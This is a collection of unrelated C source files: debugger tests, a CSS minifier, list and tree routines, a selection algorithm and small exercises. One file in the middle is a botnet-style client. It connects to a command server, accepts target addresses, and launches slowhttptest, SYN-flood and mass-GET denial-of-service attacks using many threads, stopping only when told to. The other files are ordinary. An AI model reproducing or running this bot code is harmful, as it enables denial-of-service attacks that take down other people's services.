fib(i-2); // } // int fib_rec(int i){ // if(i <= 1) return i; // return fib_rec(i-1) + fib_rec(i-2); // } // void print_regs(struct registers reg_info){ // printf("Registers:\n"); // printf("r15: %x\n", reg_info.r15); // printf("r14: %x\n", reg_info.r14); // printf("r13: %x\n", reg_info.r13); // printf("r12: %x\n", reg_info.r12); // printf("r11: %x\n", reg_info.r11); // printf("r10: %x\n", reg_info.r10); // printf("r9: %x\n", reg_info.r9); // printf("r8: %x\n", reg_info.r8); // printf("rbp: %x\n", reg_info.rbp); // printf("rdi: %x\n", reg_info.rdi); // printf("rsi: %x\n", reg_info.rsi); // printf("rdx: %x\n", reg_info.rdx); // printf("rcx: %x\n", reg_info.rcx); // printf("rbx: %x\n", reg_info.rbx); // printf("rax: %x\n", reg_info.rax); // printf("entry_rip: %x\n", reg_info.entry_rip); // printf("entry_cs: %x\n", reg_info.entry_cs); // printf("entry_rflags: %x\n", reg_info.entry_rflags); // printf("entry_rsp: %x\n", reg_info.entry_rsp); // printf("entry_ss: %x\n", reg_info.entry_ss); // } // int main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5) // { // int cpid; // long ret = 0; // int i, bt_count; // unsigned long long bt_info[MAX_BACKTRACE]; // ret = become_debugger(); // cpid = fork(); // if (cpid < 0) // { // printf("Error in fork\n"); // } // else if (cpid == 0) // { // printf("fib = %d\n", fib(4)); // // printf("fib_rec = %d\n", fib_rec(4)); // } // else // { // int ret_fib = set_breakpoint(fib); // int ret_fib_merg = set_breakpoint(fib_merge); // // int ret_fib_rec = set_breakpoint(fib_rec); // struct breakpoint bp[100]; // int bp_num = info_breakpoints(bp); // for(int i=0; i < bp_num; i++){ // printf("num = %d addr = %x\n", bp[i].num, bp[i].addr); // } // s64 ret_wait; // int cnt = 0; // while(ret_wait = wait_and_continue()){ // printf("breakpoint addr %x\n", ret_wait); // if(1){ // remove_breakpoint((void*)ret_wait); // if((void*)ret_wait == fib && cnt != 0){ // set_breakpoint(fib_merge); // }else if(cnt != 0){ // set_breakpoint(fib); // } // } // // struct registers reg; // // info_registers(&reg); // // print_regs(reg); // bp_num = info_breakpoints(bp); // for(int i=0; i < bp_num; i++){ // printf("num = %d addr = %x\n", bp[i].num, bp[i].addr); // } // cnt++; // } // } // // printf(" I am exiting with pid = %d\n", getpid()); // return 0; // } // #include<ulib.h> // int fn_2() // { // printf("In fn2\n"); // return 0; // } // int fn_1() // { // printf("In fn1\n"); // return 0; // } // int fib(int n){ // printf("In fib\n"); // if(n == 1 || n == 0) return 1; // return fib(n-1) + fib(n-2); // } // int main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5) // { // int cpid; // long ret = 0; // int i, bt_count; // unsigned long long bt_info[MAX_BACKTRACE]; // ret = become_debugger(); // cpid = fork(); // if(cpid < 0){ // printf("Error in fork\n"); // } // else if(cpid == 0){ // printf("fn_1 : %x\n", fn_1); // printf("fn_2 : %x\n", fn_2); // printf("fib : %x\n", fib); // fn_1(); // fn_2(); // fib(2); // } // else{ // ret = set_breakpoint(fn_1); // ret = set_breakpoint(fn_2); // ret = set_breakpoint(fib); // // fn_1 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_2 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fib // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // for exit // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // //exit // ret = wait_and_continue(); // // ret = wait_and_continue(); // } // printf(" %d I am exiting\n", getpid()); // return 0; // } // #include<ulib.h> // int fn_2(int i); // int fn_1(int i); // int fn_2(int i) // { // if( i == 0) return 0; // printf("In fn2 i = %d\n", i); // return fn_1(i-1); // } // int fn_1(int i) // { // if(i == 0) return 0; // printf("In fn1 i = %d\n",i); // return fn_2(i-1); // } // int main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5) // { // int cpid; // long ret = 0; // int i, bt_count; // unsigned long long bt_info[MAX_BACKTRACE]; // ret = become_debugger(); // cpid = fork(); // if(cpid < 0){ // printf("Error in fork\n"); // } // else if(cpid == 0){ // printf("fn_1 : %x\n", fn_1); // printf("fn_2 : %x\n", fn_2); // fn_1(0); // fn_2(0); // fn_1(4); // } // else{ // ret = set_breakpoint(fn_1); // ret = set_breakpoint(fn_2); // // fn_1 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_2 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_1 4 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_2 3 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_1 2 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_2 1 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_1 0 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // for exit // ret = wait_and_continue(); // printf("Child exit return : %x\n", ret); // } // return 0; // }
C
/* Changes by Leigh McCulloch * - Changed from using stdin, stdout to using char allocated memory passed * into cssmin. * Copyright (c) 2013 Leigh McCulloch. Same license as below. */ /* cssmin.c Copyright (c) 2010 (www.ryanday.org) w3c css spec: http://www.w3.org/TR/CSS2/syndata.html this parser makes no attempt to understand css as such it does not interpret css to spec. ** cannot handle nested { blocks but will ignore aditional { in parens () ** no in quote detection for ( or } function get, peek and general lookahead structure taken from.. jsmin.c Copyright (c) 2002 Douglas Crockford (www.crockford.com) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. The Software shall be used for Good, not Evil. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <stdlib.h> #include <stdio.h> #define STATE_FREE 1 #define STATE_ATRULE 2 #define STATE_SELECTOR 3 #define STATE_BLOCK 4 #define STATE_DECLARATION 5 #define STATE_COMMENT 6 static int theLookahead = EOF; static int tmp_state; static int state = 1; static int in_paren = 0; static const char * in; static char * out; #define getc getc_from_in #define putc putc_to_out static int getc_from_in(FILE *f) { if (!*in) { return EOF; } return *(in++); } static int putc_to_out(int c, FILE *f) { return *(out++) = c; } /* get -- return the next character from stdin. Watch out for lookahead. If the character is a control character, translate it to a space or linefeed. */ static int get() { int c = theLookahead; theLookahead = EOF; if (c == EOF) { c = getc(stdin); } if (c >= ' ' || c == '\n' || c == EOF) { return c; } if (c == '\r') { return '\n'; } return ' '; } /* peek -- get the next character without getting it. */ static int peek() { theLookahead = get(); return theLookahead; } /* machine */ static int machine(int c) { if(state != STATE_COMMENT){ if(c == '/' && peek() == '*'){ tmp_state = state; state = STATE_COMMENT; } } switch (state){ case STATE_FREE: if (c == ' ' && c == '\n' ) { c = 0; } else if (c == '@'){ state = STATE_ATRULE; break; } else if(c > 0){ //fprintf(stdout,"one to 3 - %c %i",c,c); state = STATE_SELECTOR; } case STATE_SELECTOR: if (c == '{') { state = STATE_BLOCK; } else if(c == '\n') { c = 0; } else if(c == '@'){ state = STATE_ATRULE; } else if (c == ' ' && peek() == '{') { c = 0; } break; case STATE_ATRULE: /* support @import etc. @font-face{ */ if (c == '\n' || c == ';') { c = ';'; state = STATE_FREE; } else if(c == '{') { state = STATE_BLOCK; } break; case STATE_BLOCK: if (c == ' ' || c == '\n' ) { c = 0; break; } else if (c == '}') { state = STATE_FREE; //fprintf(stdout,"closing bracket found in block\n"); break; } else { state = STATE_DECLARATION; } case STATE_DECLARATION: //support in paren because data can uris have ; if(c == '('){ in_paren = 1; } if(in_paren == 0){ if( c == ';') { state = STATE_BLOCK; //could continue peeking through white space.. if(peek() == '}'){ c = 0; } } else if (c == '}') { //handle unterminated declaration state = STATE_FREE; } else if ( c == '\n') { //skip new lines c = 0; } else if (c == ' ' ) { //skip multiple spaces after each other if( peek() == c ) { c = 0; } } } else if (c == ')') { in_paren = 0; } break; case STATE_COMMENT: if(c == '*' && peek() == '/'){ theLookahead = EOF; state = tmp_state; } c = 0; break; } return c; } /* cssmin -- minify the css removes comments removes newlines and line feeds keeping removes last semicolon from last property */ static void _cssmin() { for (;;) { int c = get(); if (c == EOF) { return; } c = machine(c); if (c != 0) { putc(c,stdout); } } } /* Minifies the CSS in 'in', and writes it to 'out' null terminated. * Out must be at least the same length allocated as 'in'. */ extern void cssmin(const char * const _in, char * const _out) { in = _in; out = _out; _cssmin(); *out = '\0'; // NULL terminate the string }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* validfile.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: nadam <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/04/24 10:06:20 by nadam #+# #+# */ /* Updated: 2017/05/10 16:53:23 by arguerin ### ########.fr */ /* */ /* ************************************************************************** */ #include "fill.h" int validhash(char *str) { int i; int hash; i = 0; hash = 0; while (str[i]) { if (str[i] == '#') { hash++; i++; } else if (str[i] == '.' || str[i] == '\n' || str[i] == '\0') i++; else return (0); } if (hash == 0 || hash % 4 != 0) return (0); return (1); } int validdot(char *str) { int i; int dot; i = 0; dot = 0; while (str[i]) { if (str[i] == '.') { dot++; i++; } else if (str[i] == '#' || str[i] == '\n' || str[i] == '\0') i++; else return (0); } if (dot == 0 || dot % 12 != 0) return (0); return (1); } int validentry(char *str) { int i; int entry; i = 0; entry = 0; while (str[i]) { if (str[i] == '\n') { if (str[i + 1] == '\n' && str[i + 2] == '\n') return (0); entry++; i++; } else if (str[i] == '.' || str[i] == '#' || str[i] == '\0') i++; else return (0); } if ((entry - 4) % 5 != 0) return (0); return (1); } int validfile(char *str) { int i; int j; int len; len = (int)ft_strlen(str); if (!(validdot(str) && validentry(str) && validhash(str))) return (0); i = 0; j = 0; while (j < len) { i = j; while (str[i] != '#' && str[i]) i++; if (!(check_init(str, i))) return (0); j += 21; } return (1); }
C
#include<stdio.h> int main(){ int i,n; printf("Enter n:"); scanf("%d",&n); printf("Table of %d \n",n); for(i=1;i<=10;i++){ printf("%d*%d=%d\n",n,i,n*i); } } /* Enter n:11 Table of 11 11*1=11 11*2=22 11*3=33 11*4=44 11*5=55 11*6=66 11*7=77 11*8=88 11*9=99 11*10=110 */
C
#include "unp.h" #include "methods.h" int main() { srand(time(0)); int sockfd, n, size, i; struct sockaddr_in servAddr; char buffer[MAXLINE+1]; int key = 0; // Input server's address printf("Please, enter the IP number: \n"); char ipAddress[16]; // scanf("%s",ipAddress); strcpy(ipAddress,"127.0.0.1"); printf("Please, enter the port: \n"); int portAddress; // scanf("%d",&portAddress); // getchar(); portAddress = 9877; // Authorization on the server sockfd=Socket(AF_INET,SOCK_STREAM,0); bzero(&servAddr,sizeof(servAddr)); servAddr.sin_family=AF_INET; servAddr.sin_port=htons(portAddress); Inet_pton(AF_INET,ipAddress,&servAddr.sin_addr); Connect(sockfd,(SA *)&servAddr,sizeof(servAddr)); // Server's port which must turn on int portClinet = SERV_PORT+rand()%50; printf("Port: %d\n",portClinet); sprintf(buffer,"%d",portClinet); Writen(sockfd, buffer, strlen(buffer)); // Input server's password sendString(stdin,sockfd); size = Read(sockfd,buffer, sizeof(buffer)); buffer[size]='\0'; // Password Authentication if(!memcmp(buffer,"[OK]",4)) { key=1; printf("connection #%s\n",&buffer[4]); buffer[4]='\0'; printf("Server's answer: %s\n",buffer); printf("Do you want to send a new config or not? <Y/N>\n>"); char ch; scanf("%c",&ch); if(toupper(ch) == 'Y') { // Send configuration file FILE * pFile; pFile=fopen("config.txt","r+"); if (pFile == NULL) perror ("Error opening file"); if ((n = fread(buffer,sizeof(char),1024,pFile)) > 0) { buffer[n] = '\0'; fputs (buffer, stdout); } fclose(pFile); } else strcpy(buffer,"N"); Writen(sockfd, buffer, strlen(buffer)); } else printf("connection #%s\n",&buffer[4]); // Open a new connection for listening commands from server int listenfd; struct sockaddr_in sAddr; listenfd=Socket(AF_INET,SOCK_STREAM,0); bzero(&sAddr,sizeof(sAddr)); sAddr.sin_family=AF_INET; sAddr.sin_port=htons(portClinet); sAddr.sin_addr.s_addr=htonl(INADDR_ANY); Bind(listenfd,(SA *)&sAddr,sizeof(sAddr)); Listen(listenfd,LISTENQ); // Command processing bzero(&servAddr,sizeof(servAddr)); for(;;) { printf("\nWaiting server's command...\n"); socklen_t len=sizeof(servAddr); int connfd=Accept(listenfd,(SA *)&servAddr,&len); // Get command with parameters size = Read(connfd,buffer, sizeof(buffer)); buffer[size]='\0'; printf("\n\033[33mPurpose:\033[0m\n\033[34mmethod #%c\n" "%s\033[0m\n\n", buffer[0],buffer+2); int method = buffer[0]-'0'; if(method<=0 || method>=10) err_sys("Wrong method"); switch (method) { case 1: { char temp[MAXLINE]; char * last = strrchr(buffer,' '); memcpy(temp,buffer+2,last-buffer-2); int pthr = atoi(strrchr(buffer,' ') + 1); temp[last-buffer-2]='\0'; printf("Method #1 [slowhttptest]\n" "Target: %s, connections: %d\n",temp,pthr); pid_t result1, result2; int status; result1 = fork(); if(result1 == -1) { fprintf(stderr,"Bad fork\n"); return 1; } if(result1==0) { // Comment out for extra information freopen("/dev/null", "w", stdout); execl("/usr/bin/slowhttptest","slowhttptest", "-c", strrchr(buffer,' ') + 1, "-B","-i" ,"110", "-r", "200", "-s", "8192", "-t", "Hello", "-u", temp, "-x", "10", "-p", "3",NULL); fprintf(stderr,"Bad execve slowhttptest\n"); return 1; } // Major? majorClient(&key,&sockfd,buffer); size = Read(connfd,buffer, sizeof(buffer)); buffer[size]='\0'; if(!strcmp(buffer,"stop")) { sprintf(buffer,"%d",result1); result2 = fork(); if(result2==0) { execl("/bin/kill","kill",buffer,NULL); fprintf(stderr,"Bad execve kill\n"); return 1; } if(!waitpid(result1,&status,0)) fprintf(stderr,"Process is not available\n"); else fprintf(stderr,"Exit from \"slowhttptest\""); if(WIFEXITED(status)) fprintf(stderr," with code: %d\n",WEXITSTATUS(status)); else if (WIFSIGNALED(status)) fprintf(stderr," by signal\n"); if(!waitpid(result2,&status,0)) fprintf(stderr,"Process is not available\n"); else fprintf(stderr,"Exit from \"kill\" "); if(WIFEXITED(status)) fprintf(stderr," with code: %d\n",WEXITSTATUS(status)); else if (WIFSIGNALED(status)) fprintf(stderr," by signal\n"); } break; } case 2: case 3: { char temp[64]; char * last = strrchr(buffer,' '); memcpy(temp,buffer+2,last-buffer-2); temp[last-buffer-2]='\0'; int pthr = atoi(strrchr(buffer,' ') + 1); if(method==3) printf("Method #3 [Massive GET]\n" "Target: %s, pthreads: %d\n",temp,pthr); else printf("Method #2 [Syn Flood Attack]\n" "Target: %s, pthreads: %d\n",temp,pthr); // Major? majorClient(&key,&sockfd,buffer); int pthreadResult; pthread_t thread; struct argMassive targ; targ.addr=temp; targ.pt=pthr; pthread_t * arrayPth = (pthread_t *)malloc(sizeof(pthread_t)*pthr); targ.arrPth = arrayPth; if (method==3) pthreadResult=pthread_create(&thread,NULL,&getMassive,&targ); else pthreadResult=pthread_create(&thread,NULL,&synFlood,&targ); if(pthreadResult!=0) err_sys("Error pthread"); size = Read(connfd,buffer, sizeof(buffer)); buffer[size]='\0'; if(!strcmp(buffer,"stop")) { fprintf(stderr,"Pthreads: "); for(i=0; i<pthr; ++i) if(!pthread_cancel(arrayPth[i])) fprintf(stderr,"%d ",i+1); else fprintf(stderr,"x "); pthread_cancel(thread); fprintf(stderr,"\n%s","Canceled!\n"); } free(arrayPth); break; } default: break; } Close(connfd); } return 0; }
C
/* rbt/rotate_right.c * Copyright (c) 2021, Dakotah Lambert */ #include "rbt.h" struct rbt_tree * rbt_rotate_right(struct rbt_tree * const this) { if (!this) {return this;} struct rbt_tree * child = this->left; if (!child) {return this;} this->left = child->right; child->right = this; return child; }
C
/* ** list_reverse.c for my_ls in /home/epitech/c/my_list ** ** Made by claude ramseyer ** Login <[email protected]> ** ** Started on Mon Oct 31 10:00:00 2011 claude ramseyer ** Last update Mon Oct 31 10:00:01 2011 claude ramseyer */ #include "my_list.h" void list_reverse(t_list **list) { t_list *current; t_list *next; if (list_length(*list) < 2) return; current = *list; next = current->next; while (current) { current->next = current->previous; current->previous = next; current = next; if (next) next = next->next; } }
C
/*Mengyang Chen 1412408*/ #include <stdio.h> #include <stdlib.h> #include <math.h> struct node { int digit; struct node *next; }; struct node * create_list(int num) { struct node *root = NULL; if (num==0){ struct node *cur = malloc(sizeof(struct node)); cur->digit = num; cur->next = root; return cur; } else{ while (num != 0) { struct node *cur = (struct node*)malloc(sizeof(struct node)); cur->next = root; cur->digit = num % 10; root = cur; num /= 10; } return root; } } int convert_list_2_int(struct node * root) { int sum = 0; while (root) { sum *= 10; sum += root->digit; root = root->next; } return sum; } struct node *diff(struct node *num1, struct node *num2) { int n1 = convert_list_2_int(num1); int n2 = convert_list_2_int(num2); int n3 = abs(n1 - n2); return create_list(n3); } void print_list(struct node *root) { while (root) { printf("%d", root->digit); root = root->next; } printf("\n"); } int main(int argc, char** argv) { int num1, num2; scanf("%d%d", &num1, &num2); struct node *l1 = create_list(num1); struct node *l2 = create_list(num2); struct node *l3 = diff(l1, l2); //print_list(l1); //print_list(l2); print_list(l3); free(l1); free(l2); free(l3); return 0; }
C
#include "stot_test.h" #include "stot/str_builder.h" #include "stot/transient_stack.h" #include <stdio.h> #include <stdlib.h> #include <string.h> void building() { #define B_APPEND(x) ts_str_builder_append(&builder, x, sizeof(x)-1) ts_str_builder builder; tstack* tstack = tstack_ctor(); ts_str_builder_init(&builder, tstack); B_APPEND("abc"); B_APPEND("123"); ASSRT_EQ(builder.state->len, 6); printf("%s\n", builder.state->buffer); free(tstack); #undef B_APPEND } void releasing() { #define B_APPEND(x) ts_str_builder_append(&builder, x, sizeof(x)-1) ts_str_builder builder; tstack* tstack = tstack_ctor(); tstack_alloc(tstack, 5); ts_str_builder_init(&builder, tstack); B_APPEND("abc123\n"); ts_str_builder_destroy(&builder); ASSRT_EQ(tstack->_commited, 5); free(tstack); #undef B_APPEND } void test_str_builder() { TEST_FUNC(test_str, building); TEST_FUNC(test_str, releasing); }
C
#include <stdio.h> #include <stdlib.h> #include "listlinier.h" #include "./boolean.h" int main() { /* KAMUS */ List L; int N, Q, x; int i; infotype trash; addressList P; /* ALGORITMA */ CreateEmpty(&L); scanf("%d", &N); for (i = 0; i<N; i++){ InsVLast(&L, i+1); } scanf("%d", &Q); for (i = 0; i<Q; i++){ scanf("%d", &x); if (Search(L, x) != Nil) { printf("Ada"); DelP(&L, x); InsVFirst(&L, x); PrintInfo(L); printf("\n"); } else { printf("Tidak ada"); DelVLast(&L, &trash); InsVFirst(&L, x); PrintInfo(L); printf("\n"); } } return 0; }
C
/* * select.c * * Created on: Feb 16, 2016 * Author: wing */ #include<stdio.h> #include<stdlib.h> #include<math.h> int sort(int *num,int l,int r) { int i,j,x; for (i=l+1;i<=r;i++) { x=num[i]; j=i-1; while(j>=l&&num[j]>x) { num[j+1]=num[j]; j--; } num[j+1]=x; } return num[(l+r)/2]; } int find(int *num,int k,int n,int l,int r) { if (l==r)return num[l]; int i,*tmp,mid,j,t; tmp=(int *)malloc(sizeof(int)*((int)ceil(n/5.0))); for (i=1;i<=n/5;i++) tmp[i-1]=sort(num,l+(i-1)*5,l+i*5-1); if (n%5) tmp[i-1]=sort(num,l+(i-1)*5,l+n-1); mid=find(tmp,(int)ceil(ceil(n/5.0)/2),(int)ceil(n/5.0),0,(int)ceil(n/5.0)-1); j=l-1; for (i=l;i<=r;i++) if (num[i]<=mid) { j++; t=num[j]; num[j]=num[i]; num[i]=t; } if (k-1==j) return mid; else if (k-1<j) return find(num,k,j-l+1,l,j); else return find(num,k,r-j,j+1,r); }; int main(void) { int *num,i,n,k,a; scanf("%d",&n); num=(int *)malloc(sizeof(int)*n); for (i=0;i<n;i++) scanf("%d",&num[i]); scanf("%d",&k); a=find(num,k,n,0,n-1); printf("%d",a); return 0; }
C
// counting bit from lsb and start with 1 #include <stdio.h> void check(int n) { printf("%d\n",n); while(n%4==0) { if((n&1) || (n&1<<1)) break; n>>=2; } if(n==1) printf("Number is power of 4\n"); else printf("Number is not power of 4\n"); } int main(int argc, char const *argv[]) { int n; printf("Enter number\n"); scanf("%d",&n); check(n); return 0; } // Time complexity ------orderof(logn)--- // space complexity------orderof(1) // n is not number of inputs. It is value of number // Awesome approach------------